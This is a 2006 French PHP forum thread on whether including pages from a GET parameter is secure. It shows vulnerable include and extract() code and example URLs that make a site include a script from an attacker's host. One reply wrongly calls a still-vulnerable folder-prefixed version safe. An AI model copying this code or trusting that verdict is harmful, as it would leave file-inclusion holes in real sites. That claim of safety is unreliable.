Include et securité

Résolu
cs_craso
Messages postés
55
Date d'inscription
mardi 6 juin 2006
Statut
Membre
Dernière intervention
20 janvier 2009
- 25 juin 2006 à 13:06
coucou747
Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Membre
Dernière intervention
30 juillet 2012
- 27 juin 2006 à 12:27
bonjour,
je veux savoir si ma facon d'incluredes fichiers est sans faille, vu que je débute, je ne peux pas le dire.
Tous les liens sont du type "index.php?page=ma_page". J'extrait $_GET['page'], et j'inclus la page "$_GET['page'].php". C'est simple mais je ne sais pas s'il y a une faille ou pas. Voici le code:

<?php
$ext = '.php';

extract($_GET);

if (isset($page) )
{
    include($page.$ext); //ns appelons le contenu de la page centrale
}
else
{
    include('accueil.php'); //page par defaut qunad elle n'existe pas ds le tablo
}
?>
Merci d'avance pour vos réponses.

9 réponses

coucou747
Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Membre
Dernière intervention
30 juillet 2012
41
27 juin 2006 à 12:27
Salut,

<?php
$ext = '.php';
$dossier = 'includes/';
if (isset($_GET['page']) )
{
    include($dossier.$_GET['page'].$ext); //ns appelons le contenu de la page centrale
}
else
{
    include('accueil.php'); //page par defaut qunad elle n'existe pas ds le tablo
}
?>

là t'es sur

In a dream, I saw me, drop dead... U was there, U cried... It was just a dream, if I die, U won't cry, maybe, U'll be happy

Mon site (articles sur la programmation et programmes)
3
cs_craso
Messages postés
55
Date d'inscription
mardi 6 juin 2006
Statut
Membre
Dernière intervention
20 janvier 2009

25 juin 2006 à 13:14
a l'origine le code etait comme ca (je sais pas pourquoi je l'ai changé):
<?php
$ext = '.php';
$dossier = 'includes/';
extract($_GET);

if (isset($page) )
{
    include($dossier.$page.$ext); //ns appelons le contenu de la page centrale
}
else
{
    include('accueil.php'); //page par defaut qunad elle n'existe pas ds le tablo
}
?>
0
xactise
Messages postés
507
Date d'inscription
mardi 18 février 2003
Statut
Membre
Dernière intervention
22 juin 2012
2
25 juin 2006 à 15:22
oui elle peut être dangeureuse ta façon d'inclure ta page
je t'explique
tu verifie si uen page a été passer en parametre sa c'est d'accord
et ensuite tu l'inclu directement
c'est sa qui est pas bon
en effet si je fait :
http://www.ton-site.com/index.php?page=http://www.mon-site.com/ma_page_dangeusereuse

ton site va inclure mon fichier dangeureux provenant de mon site

rajoute la condition
if(file_exists($page))
sa verifie si la page envoyer en parametre existe sur le serveur
0
cs_craso
Messages postés
55
Date d'inscription
mardi 6 juin 2006
Statut
Membre
Dernière intervention
20 janvier 2009

25 juin 2006 à 16:04
même s'il s'agit d'une page dans un dossier ? Avec ton exemple, mon index va vouloir afficher "mon_dossier_include/http://www.mon-site.com/ma_page_dangeusereuse", non?
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
coucou747
Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Membre
Dernière intervention
30 juillet 2012
41
27 juin 2006 à 12:03
Salut,

ton premier exemple est dangereux, mais le second non... il est cependant crade : on ne doit jamais faire extract car tu as des noms de variables qui peuvent être écrasés....

In a dream, I saw me, drop dead... U was there, U cried... It was just a dream, if I die, U won't cry, maybe, U'll be happy

Mon site (articles sur la programmation et programmes)
0
coucou747
Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Membre
Dernière intervention
30 juillet 2012
41
27 juin 2006 à 12:03
Salut,

ton premier exemple est dangereux, mais le second non... il est cependant crade : on ne doit jamais faire extract car tu as des noms de variables qui peuvent être écrasés....

In a dream, I saw me, drop dead... U was there, U cried... It was just a dream, if I die, U won't cry, maybe, U'll be happy

Mon site (articles sur la programmation et programmes)
0
cs_craso
Messages postés
55
Date d'inscription
mardi 6 juin 2006
Statut
Membre
Dernière intervention
20 janvier 2009

27 juin 2006 à 12:07
qu'est-ce que tu veux dire quand tu dis :" on ne doit jamais faire extract car tu as des noms de variables qui peuvent être écrasés...."
0
coucou747
Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Membre
Dernière intervention
30 juillet 2012
41
27 juin 2006 à 12:13
Salut,

<?php

$var='print';

extract($_GET)

$var($page);

?>

là par exemple, si l'interaute fais :

page.php?var=include&page=http://monsite.com/jetehacke.php

bah t'as plus de site....

In a dream, I saw me, drop dead... U was there, U cried... It was just a dream, if I die, U won't cry, maybe, U'll be happy

Mon site (articles sur la programmation et programmes)
0
cs_craso
Messages postés
55
Date d'inscription
mardi 6 juin 2006
Statut
Membre
Dernière intervention
20 janvier 2009

27 juin 2006 à 12:15
mon 2eme exemple est sûr ou pas, je ne sais plus.
0